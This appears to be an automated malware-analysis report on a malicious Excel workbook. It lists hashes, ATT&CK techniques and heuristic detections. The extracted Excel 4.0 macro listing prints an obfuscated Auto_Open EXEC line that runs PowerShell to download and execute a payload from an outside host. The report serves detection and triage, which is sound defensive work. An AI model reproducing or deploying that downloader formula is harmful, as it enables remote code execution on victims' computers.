Office (OLE) malware analysis — malicious · ab00c998b08f7746

MALICIOUS

Office (OLE)

856.5 KB Created: 2019-10-22 07:10:34 Authoring application: Microsoft Excel First seen: 2020-09-15

MD5: dccc4a44f8eb2eaa315a0ebae0eca51f SHA-1: fe1720cb4955832dfbb5ee4f367823f70941dced SHA-256: ab00c998b08f7746d3c44058de75a8cd9504e321cd226409549ca660c6a421d7

340 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical indicator of malicious intent. The macro is designed to execute a PowerShell command, which in turn uses bitsadmin to download a second-stage payload from a provided URL. This indicates a downloader or droppper functionality.

Heuristics 8

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN

Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
Suspicious cmd.exe invocation with execution flag high SC_STR_CMD

Suspicious cmd.exe invocation with execution flag
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
Reference to bitsadmin (download) high SC_STR_BITSADMIN

Reference to bitsadmin (download)
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1984 bytes
SHA-256: `f7e3b1c66f0228de06b1b05bf43a702e99c84ab3ea9bdfdc83d8b27c10c4189a`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.
Preview script First 1,000 lines of the extracted script ' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden - McrWl ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0018 31 LABEL : Cell Value, String Constant - Application.Quit len=0 ' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!A9591 ' 0018 26 LABEL : Cell Value, String Constant - gefg len=7 ptgRef3d McrWl!A1 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' Sheet,Reference,Formula,Value ' McrWl,A2,RETURN(),"" ' McrWl,A9596,EXEC("powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnlo"&"a"&"dsTrInG'('"&"htt"&""&CHAR(112)&""&"://officeservicecorp.biz/Lab.jpg')"),"" ' McrWl,A29999,[],"" ' McrWl,A30007,HALT(),""

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